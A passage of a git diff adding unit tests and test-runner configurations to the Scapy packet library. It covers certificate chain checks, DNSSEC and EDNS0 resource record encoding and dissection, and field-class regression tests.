+sPTIFwwKlhR8Cbds4cLYVdQYoKpBaXAko7nv6VrcPuuUSvC33l8Odvr7+2kDRUBQ
+7nIMpBKGgc0T0U7EPMpODdIm8QC3tKai4W56gf0wrHofx1l7
+-----END CERTIFICATE-----
+""")
+c2 = Cert("""
+-----BEGIN CERTIFICATE-----
+MIID3TCCAsWgAwIBAgIBADANBgkqhkiG9w0BAQsFADCBjzELMAkGA1UEBhMCVVMx
+EDAOBgNVBAgTB0FyaXpvbmExEzARBgNVBAcTClNjb3R0c2RhbGUxJTAjBgNVBAoT
+HFN0YXJmaWVsZCBUZWNobm9sb2dpZXMsIEluYy4xMjAwBgNVBAMTKVN0YXJmaWVs
+ZCBSb290IENlcnRpZmljYXRlIEF1dGhvcml0eSAtIEcyMB4XDTA5MDkwMTAwMDAw
+MFoXDTM3MTIzMTIzNTk1OVowgY8xCzAJBgNVBAYTAlVTMRAwDgYDVQQIEwdBcml6
+b25hMRMwEQYDVQQHEwpTY290dHNkYWxlMSUwIwYDVQQKExxTdGFyZmllbGQgVGVj
+aG5vbG9naWVzLCBJbmMuMTIwMAYDVQQDEylTdGFyZmllbGQgUm9vdCBDZXJ0aWZp
+Y2F0ZSBBdXRob3JpdHkgLSBHMjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
+ggEBAL3twQP89o/8ArFvW59I2Z154qK3A2FWGMNHttfKPTUuiUP3oWmb3ooa/RMg
+nLRJdzIpVv257IzdIvpy3Cdhl+72WoTsbhm5iSzchFvVdPtrX8WJpRBSiUZV9Lh1
+HOZ/5FSuS/hVclcCGfgXcVnrHigHdMWdSL5stPSksPNkN3mSwOxGXn/hbVNMYq/N
+Hwtjuzqd+/x5AJhhdM8mgkBj87JyahkNmcrUDnXMN/uLicFZ8WJ/X7NfZTD4p7dN
+dloedl40wOiWVpmKs/B/pM293DIxfJHP4F8R+GuqSVzRmZTRouNjWwl2tVZi4Ut0
+HZbUJtQIBFnQmA4O5t78w+wfkPECAwEAAaNCMEAwDwYDVR0TAQH/BAUwAwEB/zAO
+BgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYEFHwMMh+n2TB/xH1oo2Kooc6rB1snMA0G
+CSqGSIb3DQEBCwUAA4IBAQARWfolTwNvlJk7mh+ChTnUdgWUXuEok21iXQnCoKjU
+sHU48TRqneSfioYmUeYs0cYtbpUgSpIB7LiKZ3sx4mcujJUDJi5DnUox9g61DLu3
+4jd/IroAow57UvtruzvE03lRTs2Q9GcHGcg8RnoNAX3FWOdt5oUwF5okxBDgBPfg
+8n/Uqgr/Qh037ZTlZFkSIHc40zI+OIF1lnP6aI+xy84fxez6nH7PfrHxBy22/L/K
+pL/QlwVKvOoYKAKQvVR4CSFx09F9HdkWsKlhPdAKACL8x3vLCWRFCztAgfd9fDL1
+mMpYjn0q7pBZc2T5NnReJaH1ZgUufzkVqSr7UIuOhWn0
+-----END CERTIFICATE-----
+""")
+c0.isIssuerCert(c1) and c1.isIssuerCert(c2) and not c0.isIssuerCert(c2)
+
+= Cert class : Checking isSelfSigned()
+c2.isSelfSigned() and not c1.isSelfSigned() and not c0.isSelfSigned()
+
+= PubKey class : Checking verifyCert()
+c2.pubKey.verifyCert(c2) and c1.pubKey.verifyCert(c0)
+
+= Chain class : Checking chain construction
+assert(len(Chain([c0, c1, c2])) == 3)
+assert(len(Chain([c0], c1)) == 2)
+len(Chain([c0], c2)) == 1
+
+= Chain class : Checking chain verification
+assert(Chain([], c0).verifyChain([c2], [c1]))
+not Chain([c1]).verifyChain([c0])
+
diff --git a/test/configs/travis.utsc b/test/configs/travis.utsc
new file mode 100644
index 0000000..933451f
--- /dev/null
+++ b/test/configs/travis.utsc
@@ -0,0 +1,14 @@
+{
+  "testfiles": [
+    "*.uts",
+    "../scapy/contrib/*.uts"
+  ],
+  "onlyfailed": true,
+  "preexec": {
+    "../scapy/contrib/*.uts": "load_contrib(\"%name%\")",
+    "cert.uts": "load_layer(\"tls\")",
+    "sslv2.uts": "load_layer(\"tls\")",
+    "tls*.uts": "load_layer(\"tls\")"
+  },
+  "format": "text"
+}
diff --git a/test/configs/windows.utsc b/test/configs/windows.utsc
new file mode 100644
index 0000000..daa30fa
--- /dev/null
+++ b/test/configs/windows.utsc
@@ -0,0 +1,20 @@
+{
+  "testfiles": [
+    "test\\*.uts",
+    "scapy\\contrib\\*.uts"
+  ],
+  "onlyfailed": true,
+  "preexec": {
+    "scapy\\contrib\\*.uts": "load_contrib(\"%name%\")",
+    "test\\cert.uts": "load_layer(\"tls\")",
+    "test\\sslv2.uts": "load_layer(\"tls\")",
+    "test\\tls*.uts": "load_layer(\"tls\")"
+  },
+  "format": "text",
+  "kw_ko": [
+    "crypto_advanced",
+    "ipv6",
+    "osx",
+    "linux"
+  ]
+}
diff --git a/test/configs/windows2.utsc b/test/configs/windows2.utsc
new file mode 100644
index 0000000..d8c8c0e
--- /dev/null
+++ b/test/configs/windows2.utsc
@@ -0,0 +1,20 @@
+{
+  "testfiles": [
+    "*.uts",
+    "..\\scapy\\contrib\\*.uts"
+  ],
+  "onlyfailed": true,
+  "preexec": {
+    "..\\scapy\\contrib\\*.uts": "load_contrib(\"%name%\")",
+    "cert.uts": "load_layer(\"tls\")",
+    "sslv2.uts": "load_layer(\"tls\")",
+    "tls*.uts": "load_layer(\"tls\")"
+  },
+  "format": "html",
+  "kw_ko": [
+    "crypto_advanced",
+    "mock_read_routes6_bsd",
+    "appveyor_only",
+    "linux"
+  ]
+}
diff --git a/test/dnssecRR.uts b/test/dnssecRR.uts
new file mode 100644
index 0000000..63599ad
--- /dev/null
+++ b/test/dnssecRR.uts
@@ -0,0 +1,144 @@
+# DNSSEC Resource Record unit tests
+#
+# Type the following command to launch start the tests:
+# $ sudo bash test/run_tests -t test/dnssecRR.uts -F
+
++ bitmap2RRlist()
+
+= example from RFC 4034
+RRlist2bitmap([1, 15, 46, 47, 1234]) == b'\x00\x06@\x01\x00\x00\x00\x03\x04\x1b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20'
+
+= [0]
+RRlist2bitmap([0]) == b'\x00\x01\x80'
+
+= [0,1,2,3,4,5,6,7]
+RRlist2bitmap([0,1,2,3,4,5,6,7]) == b'\x00\x01\xff'
+
+= [256,512,4096,36864]
+RRlist2bitmap([256,512,4096,36864]) == b'\x01\x01\x80\x02\x01\x80\x10\x01\x80\x90\x01\x80'
+
+= [65535]
+RRlist2bitmap([65535]) == b'\xff\x20\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01'
+
++ From RRlist2bitmap() to bitmap2RRlist()
+
+= example from RFC 4034
+b = b'\x00\x06@\x01\x00\x00\x00\x03\x04\x1b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20'
+RRlist2bitmap(bitmap2RRlist(b)) == b
+
+= [0]
+b= b'\x00\x01\x80'
+RRlist2bitmap(bitmap2RRlist(b)) == b
+
+= [0,1,2,3,4,5,6,7]
+b = b'\x00\x01\xff'
+RRlist2bitmap(bitmap2RRlist(b)) == b
+
+= [256,512,4096,36864]
+b = b'\x01\x01\x80\x02\x01\x80\x10\x01\x80\x90\x01\x80'
+RRlist2bitmap(bitmap2RRlist(b)) == b
+
+= [65535]
+b = b'\xff\x20\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01'
+RRlist2bitmap(bitmap2RRlist(b)) == b
+
++ Test NSEC RR
+
+= DNSRRNSEC(), basic instanciation
+t = DNSRRNSEC()
+raw(t) == b'\x00\x00/\x00\x01\x00\x00\x00\x00\x00\x01\x00'
+
+= DNSRRRNSEC(), check parameters
+t = DNSRRNSEC(rrname="scapy.secdev.org.", rclass=42, ttl=28, nextname="www.secdev.org.", typebitmaps=RRlist2bitmap([1,2,3,4,1234]))
+raw(t) == b'\x05scapy\x06secdev\x03org\x00\x00/\x00*\x00\x00\x00\x1c\x000\x03www\x06secdev\x03org\x00\x00\x01x\x04\x1b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 '
+
++ Test NSEC3 RR
+
+= DNSRRNSEC3(), basic instanciation
+t = DNSRRNSEC3()
+raw(t) == b'\x00\x002\x00\x01\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00'
+
+= DNSRRRNSEC3(), check parameters
+t = DNSRRNSEC3(rrname="scapy.secdev.org.", rclass=42, ttl=28, hashalg=7, iterations=80, saltlength=28, salt=b"\x28\x07", hashlength=31, nexthashedownername="XXX.scapy.secdev.org", typebitmaps=RRlist2bitmap([1,2,3,4,1234]))
+raw(t) == b'\x05scapy\x06secdev\x03org\x00\x002\x00*\x00\x00\x00\x1c\x00<\x07\x00\x00P\x1c(\x07\x1fXXX.scapy.secdev.org\x00\x01x\x04\x1b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 '
+
++ Test NSEC3PARAM RR
+
+= DNSRRNSEC3PARAM(), basic instanciation
+t = DNSRRNSEC3PARAM()
+raw(t) == b'\x00\x003\x00\x01\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00'
+
+= DNSRRRNSEC3PARAM(), check parameters
+t = DNSRRNSEC3(rrname="scapy.secdev.org.", rclass=42, ttl=28, hashalg=7, flags=80, iterations=80, saltlength=28, salt=b"\x28\x07")
+raw(t) == b'\x05scapy\x06secdev\x03org\x00\x002\x00*\x00\x00\x00\x1c\x00\x08\x07P\x00P\x1c(\x07\x00'
+
++ Test RRSIG RR
+
+= DNSRRRSIG(), basic instanciation
+t = DNSRRRSIG()
+raw(t) == b'\x00\x00.\x00\x01\x00\x00\x00\x00\x00\x13\x00\x01\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+
+= DNSRRRSIG(), check parameters
+t = DNSRRRSIG(rrname="test.example.com.", type=46, rclass=12, ttl=64, originalttl=2807, keytag=42, signersname="test.rsig", signature="test RSIG")
+raw(t) == b'\x04test\x07example\x03com\x00\x00.\x00\x0c\x00\x00\x00@\x00&\x00\x01\x05\x00\x00\x00\n\xf7\x00\x00\x00\x00\x00\x00\x00\x00\x00*\x04test\x04rsig\x00test RSIG'
+
+= DNSRRRSIG(), dissection
+rrsig = b'\x03isc\x03org\x00\x00.\x00\x01\x00\x00\x96O\x00\x9b\x00\x02\x05\x02\x00\x00\xa8\xc0K-3\xd9K\x05\xa6\xd9\xed6\x03isc\x03org\x00\xac\xb2_I\x9e\xdcU\xca/3\x1c\xdf{\xba\xd5\x80\xb0 \xa4~\x98\x95\xab~\x84\xb2\x1f9\x17#\x7f\xfeP\xb9\xfb\x8d\x13\x19\xd7\x7f\x9e/\x1c\xd7rv<\xc6\xd3\xf1\xae8\rh\xba\x1e\xaa\xe6\xf1\x1e\x1d\xdaS\xd4\\\xfd\xa3`P\xa1\xe0\xa2\x860\xd4?\xb4}j\x81O\x03\xdc&v\x13\xd4(k\xa07\x8f-\x08e\x06\xff\xb8h\x8f\x16j\xe4\xd92\xd2\x99\xc2\xb4'
+t = DNSRRRSIG(rrsig)
+t.rrname == b'isc.org.' and t.labels == 2 and t.keytag == 60726 and t.signature[-4:] == b'\xd2\x99\xc2\xb4'
+
++ Test DNSKEY RR
+
+= DNSRRDNSKEY(), basic instanciation
+t = DNSRRDNSKEY()
+raw(t) == b'\x00\x000\x00\x01\x00\x00\x00\x00\x00\x04\x01\x00\x03\x05' and t.sprintf("%flags%") == 'Z'
+
+= DNSRRDNSKEY(), check parameters
+t = DNSRRDNSKEY(rrname="www.secdev.org.", type=42, rclass=12, ttl=1234, rdlen=567, flags=2807, protocol=195, algorithm=66, publickey="strong public key")
+raw(t) == b'\x03www\x06secdev\x03org\x00\x00*\x00\x0c\x00\x00\x04\xd2\x027\n\xf7\xc3Bstrong public key'
+
+= DNSRRDNSKEY(), dissection
+t = DNSRRDNSKEY(b'\x03dlv\x03isc\x03org\x00\x000\x00\x01\x00\x00\x1bq\x01\t\x01\x01\x03\x05\x04@\x00\x00\x03\xc72\xef\xf9\xa2|\xeb\x10N\xf3\xd5\xe8&\x86\x0f\xd6<\xed>\x8e\xea\x19\xadm\xde\xb9a\'\xe0\xccC\x08M~\x94\xbc\xb6n\xb8P\xbf\x9a\xcd\xdfdJ\xb4\xcc\xd7\xe8\xc8\xfb\xd27sx\xd0\xf8^I\xd6\xe7\xc7g$\xd3\xc2\xc6\x7f>\x8c\x01\xa5\xd8VK+\xcb~\xd6\xea\xb8[\xe9\xe7\x03z\x8e\xdb\xe0\xcb\xfaN\x81\x0f\x89\x9e\xc0\xc2\xdb!\x81p{C\xc6\xeft\xde\xf5\xf6v\x90\x96\xf9\xe9\xd8`1\xd7\xb9\xcae\xf8\x04\x8f\xe8C\xe7\x00+\x9d?\xc6\xf2o\xd3Ak\x7f\xc90\xea\xe7\x0cO\x01e\x80\xf7\xbe\x8eq\xb1<\xf1&\x1c\x0b^\xfdDdc\xad\x99~B\xe8\x04\x00\x03,t="\xb4\xb6\xb6\xbc\x80{\xb9\x9b\x05\x95\\;\x02\x1eS\xf4p\xfedq\xfe\xfc00$\xe05\xba\x0c@\xabTv\xf3W\x0e\xb6\t\r!\xd9\xc2\xcd\xf1\x89\x15\xc5\xd5\x17\xfej_T\x99\x97\xd2j\xff\xf85b\xca\x8c|\xe9O\x9fd\xfdT\xadL3taK\x96\xac\x13a')
+t.rrname == b"dlv.isc.org." and t.rdlen == 265 and t.sprintf("%flags%") == 'SZ' and t.publickey == b'\x04@\x00\x00\x03\xc72\xef\xf9\xa2|\xeb\x10N\xf3\xd5\xe8&\x86\x0f\xd6<\xed>\x8e\xea\x19\xadm\xde\xb9a\'\xe0\xccC\x08M~\x94\xbc\xb6n\xb8P\xbf\x9a\xcd\xdfdJ\xb4\xcc\xd7\xe8\xc8\xfb\xd27sx\xd0\xf8^I\xd6\xe7\xc7g$\xd3\xc2\xc6\x7f>\x8c\x01\xa5\xd8VK+\xcb~\xd6\xea\xb8[\xe9\xe7\x03z\x8e\xdb\xe0\xcb\xfaN\x81\x0f\x89\x9e\xc0\xc2\xdb!\x81p{C\xc6\xeft\xde\xf5\xf6v\x90\x96\xf9\xe9\xd8`1\xd7\xb9\xcae\xf8\x04\x8f\xe8C\xe7\x00+\x9d?\xc6\xf2o\xd3Ak\x7f\xc90\xea\xe7\x0cO\x01e\x80\xf7\xbe\x8eq\xb1<\xf1&\x1c\x0b^\xfdDdc\xad\x99~B\xe8\x04\x00\x03,t="\xb4\xb6\xb6\xbc\x80{\xb9\x9b\x05\x95\\;\x02\x1eS\xf4p\xfedq\xfe\xfc00$\xe05\xba\x0c@\xabTv\xf3W\x0e\xb6\t\r!\xd9\xc2\xcd\xf1\x89\x15\xc5\xd5\x17\xfej_T\x99\x97\xd2j\xff\xf85b\xca\x8c|\xe9O\x9fd\xfdT\xadL3taK\x96\xac\x13a'
+
++ Test DS and DLV RR
+
+= DNSRRDS() and DNSRRDLV(), basic instancaition
+ds = DNSRRDS()
+dlv = DNSRRDLV(type=43)
+raw(ds) == raw(dlv)
+
+= DNSRRDS(), check parameters
+t = DNSRRDS(b'\x03isc\x03org\x00\x00+\x00\x01\x00\x01Q(\x00\x182\\\x05\x01\x98!\x13\xd0\x8bLj\x1d\x9fj\xee\x1e"7\xae\xf6\x9f?\x97Y')
+t.rrname == b'isc.org.' and t.keytag == 12892 and t.algorithm == 5 and t.digesttype == 1 and t.digest == b'\x98!\x13\xd0\x8bLj\x1d\x9fj\xee\x1e"7\xae\xf6\x9f?\x97Y'
+
++ Test TXT RR
+
+= DNSRR(type="TXT") instanciation
+t = DNSRR(type="TXT", rdata="test")
+
+= Build DNSRR
+an = DNSRR(type='AAAA', rdata='2001::1')
+an = DNSRR(raw(an))
+assert an.rdata == '2001::1'
+
+= DNSRRR(), check parameters
+t = DNSRR(b'\x04test\x00\x00\x10\x00\x01\x00\x00\x00\x00\x018\xffScapy is an interactive packet manipulation program that enables you to sniff, mangle, send network packets ; test equipments ; probe and discover networks ; quickly develop new protocols. It can easily handle most classical tasks like scanning, tracerout7ing, probing, unit tests, attacks or network discovery.')
+t.type == 16 and t.rdlen == 312 and t.rdata[:5] == b"Scapy" and t.rdata[-10:] == b"discovery."
+
++ Test DNSRRTSIG RR
+
+= DNSRRTSIG basic instanciation
+t = DNSRRTSIG()
+raw(t) == b"\x00\x00\xfa\x00\x01\x00\x00\x00\x00\x00\x1b\thmac-sha1\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x00\x00\x00"
+
+= DNSRRTSIG(), check parameters
+t = DNSRRTSIG(rrname="SAMPLE-ALG.EXAMPLE.", time_signed=853804800, fudge=300)
+raw(t) == b"\nSAMPLE-ALG\x07EXAMPLE\x00\x00\xfa\x00\x01\x00\x00\x00\x00\x00\x1b\thmac-sha1\x00\x00\x002\xe4\x07\x00\x01,\x00\x14\x00\x00\x00\x00\x00\x00"
+
+= TimeField methods
+
+packed_data = b"\x00\x002\xe4\x07\x00"
+assert(TimeSignedField("", 0).h2i("", 853804800) == packed_data)
+assert(TimeSignedField("", 0).i2h("", packed_data) == 853804800)
+assert(TimeSignedField("", 0).i2repr("", packed_data) == "Tue Jan 21 00:00:00 1997")
diff --git a/test/edns0.uts b/test/edns0.uts
new file mode 100644
index 0000000..dc9ae96
--- /dev/null
+++ b/test/edns0.uts
@@ -0,0 +1,69 @@
+# DNS OPT Resource Record unit tests
+#
+# Type the following command to launch start the tests:
+# $ sudo bash test/run_tests -t test/edns0.uts -F
+
++ Test EDNS0 rdata
+
+= EDNS0TLV(), basic instanciation
+tlv = EDNS0TLV()
+raw(tlv) == b'\x00\x00\x00\x00'
+
+= EDNS0TLV(), check parameters
+tlv = EDNS0TLV(optcode=42, optlen=12, optdata="edns0tlv")
+raw(tlv) == b'\x00*\x00\x0cedns0tlv'
+
+= EDNS0TLV(), check computed optlen
+tlv = EDNS0TLV(optdata="edns0tlv")
+raw(tlv) == b'\x00\x00\x00\x08edns0tlv'
+
+= EDNS0TLV(), dissection
+tlv = EDNS0TLV(b'\x00*\x00\x08edns0tlv')
+tlv.optcode == 42 and tlv.optlen == 8 and tlv.optdata == b"edns0tlv"
+
++ Test OPT RR
+
+= DNSRROPT(), basic instanciation
+opt = DNSRROPT()
+raw(opt) == b'\x00\x00)\x10\x00\x00\x00\x80\x00\x00\x00'
+
+= DNSRROPT(), check parameters
+opt = DNSRROPT(rrname="rropt", type=42, rclass=123, extrcode=1, version=2, z=3, rdlen=4, rdata=[EDNS0TLV()])
+raw(opt) == b'\x05rropt\x00\x00*\x00{\x01\x02\x00\x03\x00\x04\x00\x00\x00\x00'
+
+= DNSRROPT() & EDN0TLV(), check parameters
+opt = DNSRROPT(rrname="rropt", type=42, rclass=123, extrcode=1, version=2, z=3, rdlen=4, rdata=[EDNS0TLV(optcode=42, optlen=12, optdata="edns0tlv")])
+raw(opt) == b'\x05rropt\x00\x00*\x00{\x01\x02\x00\x03\x00\x04\x00*\x00\x0cedns0tlv'
+
+= DNSRROP(), dissection
+opt = DNSRROPT(b'\x05rropt\x00\x00*\x00{\x01\x02\x00\x03\x00\x0c\x00*\x00\x0cedns0tlv')
+opt.rrname == b"rropt." and opt.rdlen == 12 and opt.rdata[0].optcode == 42 and opt.rdata[0].optdata == b"edns0tlv"
+
++ Test EDNS-PING
+
+= EDNS-PING - basic instanciation
+tlv = EDNS0TLV(optcode=5, optdata=b"\x00\x11\x22\x33")
+raw(tlv) == b'\x00\x05\x00\x04\x00\x11"3'
+
+#= EDNS-PING - Live test
+#~ netaccess
+#* NB: 85.17.219.217 and www.edns-ping.org seem down
+#old_debug_dissector = conf.debug_dissector
+#conf.debug_dissector = False
+#r = sr1(IP(dst="85.17.219.217")/UDP()/DNS(qd=[DNSQR(qtype="A", qname="www.edns-ping.org.")], ar=[DNSRROPT(z=0, rdata=[EDNS0TLV(optcode="PING", optdata=b"\x00\x11\x22\x33")])]), timeout=1)
+#conf.debug_dissector = old_debug_dissector
+#len(r.ar) and r.ar.rdata[0].optcode == 4  # XXX: should be 5
+
++ Test DNS Name Server Identifier (NSID) Option
+
+= NSID- basic instanciation
+tlv = EDNS0TLV(optcode=2, optdata="")
+raw(tlv) == b'\x00\x02\x00\x00'
+
+= NSID - Live test
+~ netaccess
+old_debug_dissector = conf.debug_dissector
+conf.debug_dissector = False
+r = sr1(IP(dst="l.root-servers.net")/UDP()/DNS(qd=[DNSQR(qtype="SOA", qname=".")], ar=[DNSRROPT(z=0, rdata=[EDNS0TLV(optcode="NSID")])]), timeout=1)
+conf.debug_dissector = old_debug_dissector
+len(r.ar) and DNSRROPT in r.ar and len(r.ar[DNSRROPT].rdata) and len([x for x in r.ar[DNSRROPT].rdata if x.optcode == 3])
diff --git a/test/fields.uts b/test/fields.uts
new file mode 100644
index 0000000..1b5e478
--- /dev/null
+++ b/test/fields.uts
@@ -0,0 +1,1001 @@
+% Regression tests for Scapy regarding fields
+
+############
+############
++ Tests on basic fields
+
+#= Field class
+#~ core field
+#Field("foo", None, fmt="H").i2m(None,0xabcdef)
+#assert( _ == b"\xcd\xef" )
+#Field("foo", None, fmt="<I").i2m(None,0x12cdef)
+#assert( _ == b"\xef\xcd\x12\x00" )
+#Field("foo", None, fmt="B").addfield(None, "FOO", 0x12)
+#assert( _ == b"FOO\x12" )
+#Field("foo", None, fmt="I").getfield(None, b"\x12\x34\x56\x78ABCD")
+#assert( _ == ("ABCD",0x12345678) )
+#
+#= ConditionnalField class
+#~ core field
+#False
+
+
+= Simple tests
+
+assert LELongField("test", None).addfield(None, b"", 0x44434241) == b'ABCD\x00\x00\x00\x00'
+
+= MACField class
+~ core field
+m = MACField("foo", None)
+m.i2m(None, None)
+assert( _ == b"\x00\x00\x00\x00\x00\x00" )
+m.getfield(None, b"\xc0\x01\xbe\xef\xba\xbeABCD")
+assert( _ == (b"ABCD","c0:01:be:ef:ba:be") )
+m.addfield(None, b"FOO", "c0:01:be:ef:ba:be")
+assert( _ == b"FOO\xc0\x01\xbe\xef\xba\xbe" )
+
+= SourceMACField, ARPSourceMACField
+conf.route.add(net="1.2.3.4/32", dev=conf.iface)
+p = Ether() / ARP(pdst="1.2.3.4")
+assert p.src == p.hwsrc == p[ARP].hwsrc == get_if_hwaddr(conf.iface)
+conf.route.delt(net="1.2.3.4/32")
+
+= IPField class
+~ core field
+
+if WINDOWS:
+    route_add_loopback()
+
+i = IPField("foo", None)
+i.i2m(None, "1.2.3.4")
+assert( _ == b"\x01\x02\x03\x04" )
+i.i2m(None, "255.255.255.255")
+assert( _ == b"\xff\xff\xff\xff" )
+i.m2i(None, b"\x01\x02\x03\x04")
+assert( _ == "1.2.3.4" )
+i.getfield(None, b"\x01\x02\x03\x04ABCD")
+assert( _ == (b"ABCD","1.2.3.4") )
+i.addfield(None, b"FOO", "1.2.3.4")
+assert( _ == b"FOO\x01\x02\x03\x04" )
+
+= SourceIPField
+~ core field
+defaddr = conf.route.route('0.0.0.0')[1]
+class Test(Packet): fields_desc = [SourceIPField("sourceip", None)]
+
+assert Test().sourceip == defaddr
+assert Test(raw(Test())).sourceip == defaddr
+
+assert IP(dst="0.0.0.0").src == defaddr
+assert IP(raw(IP(dst="0.0.0.0"))).src == defaddr
+assert IP(dst="0.0.0.0/31").src == defaddr
+assert IP(raw(IP(dst="0.0.0.0/31"))).src == defaddr
+
+
+#= ByteField
+#~ core field
+#b = ByteField("foo", None)
+#b.i2m("
+#b.getfield
+
+
+############
+############
++ Tests on ActionField
+
+= Creation of a layer with ActionField
+~ field actionfield
+
+from __future__ import print_function
+
+class TestAction(Packet):
+    __slots__ = ["_val", "_fld", "_priv1", "_priv2"]
+    name = "TestAction"
+    fields_desc = [ ActionField(ByteField("tst", 3), "my_action", priv1=1, priv2=2) ]
+    def __init__(self, *args, **kargs):
+        self._val, self._fld, self._priv1, self._priv2 = None, None, None, None
+        super(TestAction, self).__init__(*args, **kargs)
+    def my_action(self, val, fld, priv1, priv2):
+        print("Action (%i)!" % val)
+        self._val, self._fld, self._priv1, self._priv2 = val, fld, priv1, priv2
+
+= Triggering action
+~ field actionfield
+
+t = TestAction()
+assert(t._val == t._fld == t._priv1 == t._priv2 == None)
+t.tst=42
+assert(t._priv1 == 1)
+assert(t._priv2 == 2)
+assert(t._val == 42)
+
+
+############
+############
++ Tests on FieldLenField
+
+= Creation of a layer with FieldLenField
+~ field 
+class TestFLenF(Packet):
+    fields_desc = [ FieldLenField("len", None, length_of="str", fmt="B", adjust=lambda pkt,x:x+1),
+                    StrLenField("str", "default", length_from=lambda pkt:pkt.len-1,) ]
+
+= Assembly of an empty packet
+~ field
+TestFLenF()
+raw(_)
+_ == b"\x08default"
+
+= Assembly of non empty packet
+~ field
+TestFLenF(str="123")
+raw(_)
+_ == b"\x04123"
+
+= Disassembly
+~ field
+TestFLenF(b"\x04ABCDEFGHIJKL")
+_
+_.len == 4 and _.str == b"ABC" and Raw in _
+
+
+= BitFieldLenField test
+~ field
+class TestBFLenF(Packet):
+    fields_desc = [ BitFieldLenField("len", None, 4, length_of="str" , adjust=lambda pkt,x:x+1),
+                    BitField("nothing",0xfff, 12),
+                    StrLenField("str", "default", length_from=lambda pkt:pkt.len-1, ) ]
+
+a=TestBFLenF()
+raw(a)
+assert( _ == b"\x8f\xffdefault" )
+
+a.str=""
+raw(a)
+assert( _ == b"\x1f\xff" )
+
+TestBFLenF(b"\x1f\xff@@")
+assert( _.len == 1 and _.str == b"" and Raw in _ and _[Raw].load == b"@@" )
+
+TestBFLenF(b"\x6f\xffabcdeFGH")
+assert( _.len == 6 and _.str == b"abcde" and Raw in _ and _[Raw].load == b"FGH" )
+
+
+
+############
+############
++ Tests on FieldListField
+
+= Creation of a layer
+~ field
+class TestFLF(Packet):
+    name="test"
+    fields_desc = [ FieldLenField("len", None, count_of="lst", fmt="B"),
+                    FieldListField("lst", None, IntField("elt",0), count_from=lambda pkt:pkt.len)
+                   ]
+
+= Assembly of an empty packet
+~ field
+a = TestFLF()
+raw(a)
+
+= Assembly of a non-empty packet
+~ field
+a = TestFLF()
+a.lst = [7,65539]
+ls(a)
+raw(a)
+import struct
+_ == struct.pack("!BII", 2,7,65539)
+
+= Disassemble
+~ field
+import struct
+TestFLF(b"\x00\x11\x12")
+assert(_.len == 0 and Raw in _ and _[Raw].load == b"\x11\x12")
+TestFLF(struct.pack("!BIII",3,1234,2345,12345678))
+assert(_.len == 3 and _.lst == [1234,2345,12345678])
+
+= Manipulate
+~ field
+a = TestFLF(lst=[4])
+raw(a)
+assert(_ == b"\x01\x00\x00\x00\x04")
+a.lst.append(1234)
+TestFLF(raw(a))
+a.show2()
+a.len=7
+raw(a)
+assert(_ == b"\x07\x00\x00\x00\x04\x00\x00\x04\xd2")
+a.len=2
+a.lst=[1,2,3,4,5]
+TestFLF(raw(a))
+assert(Raw in _ and _[Raw].load == b'\x00\x00\x00\x03\x00\x00\x00\x04\x00\x00\x00\x05') 
+
+
+############
+############
++ PacketListField 
+
+= Create a layer
+~ field lengthfield
+class TestPLF(Packet):
+    name="test"
+    fields_desc=[ FieldLenField("len", None, count_of="plist"),
+                  PacketListField("plist", None, IP, count_from=lambda pkt:pkt.len,) ]
+
+= Test the PacketListField assembly
+~ field lengthfield
+x=TestPLF()
+raw(x)
+_ == b"\x00\x00"
+
+= Test the PacketListField assembly 2
+~ field lengthfield
+x=TestPLF()
+x.plist=[IP()/TCP(), IP()/UDP()]
+raw(x)
+_.startswith(b'\x00\x02E')
+
+= Test disassembly
+~ field lengthfield
+x=TestPLF(plist=[IP()/TCP(seq=1234567), IP()/UDP()])
+TestPLF(raw(x))
+_.show()
+IP in _ and TCP in _ and UDP in _ and _[TCP].seq == 1234567
+
+= Nested PacketListField
+~ field lengthfield
+y=IP()/TCP(seq=111111)/TestPLF(plist=[IP()/TCP(seq=222222),IP()/UDP()])
+TestPLF(plist=[y,IP()/TCP(seq=333333)])
+_.show()
+IP in _ and TCP in _ and UDP in _ and _[TCP].seq == 111111 and _[TCP:2].seq==222222 and _[TCP:3].seq == 333333
+
+############
+############
++ PacketListField tests
+
+= Create a layer
+~ field lengthfield
+class TestPLF(Packet):
+    name="test"
+    fields_desc=[ FieldLenField("len", None, count_of="plist"),
+                  PacketListField("plist", None, IP, count_from=lambda pkt:pkt.len) ]
+
+= Test the PacketListField assembly
+~ field lengthfield
+x=TestPLF()
+raw(x)
+_ == b"\x00\x00"
+
+= Test the PacketListField assembly 2
+~ field lengthfield
+x=TestPLF()
+x.plist=[IP()/TCP(), IP()/UDP()]
+raw(x)
+_.startswith(b'\x00\x02E')
+
+= Test disassembly
+~ field lengthfield
+x=TestPLF(plist=[IP()/TCP(seq=1234567), IP()/UDP()])
+TestPLF(raw(x))
+_.show()
+IP in _ and TCP in _ and UDP in _ and _[TCP].seq == 1234567
+
+= Nested PacketListField
+~ field lengthfield
+y=IP()/TCP(seq=111111)/TestPLF(plist=[IP()/TCP(seq=222222),IP()/UDP()])
+TestPLF(plist=[y,IP()/TCP(seq=333333)])
+_.show()
+IP in _ and TCP in _ and UDP in _ and _[TCP].seq == 111111 and _[TCP:2].seq==222222 and _[TCP:3].seq == 333333
+
